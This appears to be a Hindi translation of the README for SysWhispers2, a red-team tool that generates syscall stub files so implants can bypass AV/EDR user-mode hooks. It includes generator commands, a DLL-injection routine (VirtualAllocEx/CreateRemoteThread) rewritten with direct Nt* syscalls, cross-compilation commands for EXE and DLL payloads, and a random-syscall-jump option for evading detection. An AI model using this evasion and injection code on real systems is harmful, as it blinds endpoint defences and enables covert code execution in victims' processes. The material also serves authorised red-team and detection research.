
AV/EDR से बचाव प्रत्यक्ष सिस्टम कॉल के माध्यम से।
SysWhispers प्रत्यक्ष सिस्टम कॉल करने के लिए implants द्वारा उपयोग किए जाने वाले header/ASM फ़ाइलें उत्पन्न करके एविज़न में मदद करता है।
सभी कोर syscalls समर्थित हैं और उदाहरण उत्पन्न फ़ाइलें example-output/ फ़ोल्डर में उपलब्ध हैं।
उपयोग SysWhispers1 के लगभग समान है लेकिन आपको Windows के किस संस्करण का समर्थन करना है यह निर्दिष्ट करने की आवश्यकता नहीं है। अधिकांश परिवर्तन पर्दे के पीछे हैं। यह अब @j00ru की syscall tables पर निर्भर नहीं करता है, और इसके बजाय @modexpblog द्वारा लोकप्रिय की गई "sorting by system call address" तकनीक का उपयोग करता है। यह syscall stubs के आकार को काफी कम कर देता है।
SysWhispers2 में विशिष्ट कार्यान्वयन @modexpblog के कोड का एक रूपांतर है। एक अंतर यह है कि फ़ंक्शन नाम हैश प्रत्येक पीढ़ी पर यादृच्छिक किए जाते हैं। @ElephantSe4l, जिन्होंने पहले इस तकनीक को published किया था, का C++17 पर आधारित एक और implementation है, जो देखने लायक भी है।
मूल SysWhispers रिपॉजिटरी अभी भी उपलब्ध है लेकिन भविष्य में अप्रचलित हो सकती है।
विभिन्न सुरक्षा उत्पाद उपयोगकर्ता-मोड API फ़ंक्शनों में हुक लगाते हैं जो उन्हें निष्पादन प्रवाह को अपने इंजनों पर पुनर्निर्देशित करने और संदिग्ध व्यवहार का पता लगाने की अनुमति देते हैं। ntdll.dll में syscalls बनाने वाले फ़ंक्शन केवल कुछ असेंबली निर्देशों से मिलकर बने होते हैं, इसलिए उन्हें अपने implant में पुनः लागू करना उन सुरक्षा उत्पाद हुक के ट्रिगरिंग को बायपास कर सकता है। इस तकनीक को @Cn33liz द्वारा लोकप्रिय बनाया गया था और उनके blog post में अधिक तकनीकी विवरण हैं जो पढ़ने योग्य हैं।
SysWhispers लाल टीम को कोर कर्नेल इमेज (ntoskrnl.exe) में किसी भी सिस्टम कॉल के लिए header/ASM जोड़े उत्पन्न करने की क्षमता प्रदान करता है। हेडर में आवश्यक प्रकार परिभाषाएँ भी शामिल होंगी।
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThread DLL इंजेक्शन का पहले और बाद का उदाहरणpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
--preset common स्विच का उपयोग करने पर निम्नलिखित फ़ंक्शनों के साथ एक header/ASM जोड़ी बनाई जाएगी:
निम्नलिखित उदाहरण दिखाते हैं कि MinGW और NASM असेंबलर का उपयोग करके उपरोक्त उदाहरण प्रोग्राम को EXE और DLL के रूप में कैसे संकलित किया जाए:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 एक clang संगत .s फ़ाइल आउटपुट करता है जिसमें ASM stubs होते हैं। इसका उपयोग llvm के साथ आपके कोड को संकलित करने के लिए किया जा सकता है। उदाहरण के लिए, ऊपर दिए गए CreateRemoteThread DLL इंजेक्शन उदाहरण का उपयोग करते हुए:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
inlinegas आउटपुट विकल्प Syswhispers2 का केवल हेडर संस्करण उत्पन्न करेगा जिसका उपयोग BOFs के संकलन के साथ किया जा सकता है। बस अपने प्रोजेक्ट में हेडर शामिल करें।
रैंडम सिसकॉल जंप रूटीन का उपयोग करके "mark of the syscall" से बचना संभव है। असेंबली स्टब एक नए फ़ंक्शन SW__GetRandomSyscallAddress को कॉल करता है जो उपयोग करने के लिए ntdll.dll में एक स्वच्छ syscall निर्देश खोजता है और चुनता है। ऐसा करके, यूज़रलैंड syscall निर्देशों को ट्रिगर करने से बचना भी संभव है।
रैंडम सिसकॉल जंप का उपयोग करने के लिए, आपको अपने प्रोग्राम को संकलित करते समय RANDSYSCALL परिभाषित करना होगा और SysWhispers2 के आउटपुट के rnd संस्करण का उपयोग करना होगा। निम्नलिखित उदाहरण GNU Assembler stubs के उपयोग को प्रदर्शित करते हैं।
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) से सिस्टम कॉल समर्थित नहीं हैं।syscalls.h में typedefs पहले से परिभाषित हैं, तो एक प्रोजेक्ट संकलित नहीं हो सकता है।
--preset all शायद ही कभी आवश्यक होता है)।syscalls.h से हटाया जा सकता है।@Jackson_T और @modexpblog द्वारा विकसित, लेकिन कई अन्य लोगों के काम पर आधारित:
यह परियोजना Apache License 2.0 के तहत लाइसेंस प्राप्त है।